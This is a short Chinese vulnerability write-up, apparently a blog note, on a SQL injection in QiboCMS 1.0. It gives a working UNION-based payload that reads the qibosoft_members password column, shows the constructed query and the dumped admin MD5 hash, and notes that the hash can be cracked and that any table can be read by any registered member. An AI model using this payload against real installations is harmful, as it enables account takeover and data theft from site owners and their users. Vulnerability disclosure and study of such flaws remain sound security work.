齐博CMS1.0全版本的sql注入漏洞
详见:http://dingody.iteye.com/blog/2195864
虽然value值保存在了两个sql语句里面,这两个语句的列不一样,如果利用第二个语句,会在第一个语句的时候报列不一致的错误;尝试利用第一个语句。
我构造的语句是 1 union select password from qibosoft_members;#
这里最后只能用#来注释掉最后的单引号,使用--仍然会报错。
所以,拼接出来的sql语句是SELECT aid FROM qibosoft_comment WHERE cid=1 union select password from qibosoft_members;#
读取用户表中的密码列;打印出执行语句的返回值
aid => 21232f297a57a5a743894a0e4a801fc3 (length=32)
打印出的是用户admin的加密密码,MD5解密即可。
同理,修改表名和列名可以任意读取表的内容。
不过想要利用该点需要登陆member系统,只要随意注册一个用户登陆即可,便可以读取到用户admin的密码。
这里返回的只是第一行的结果。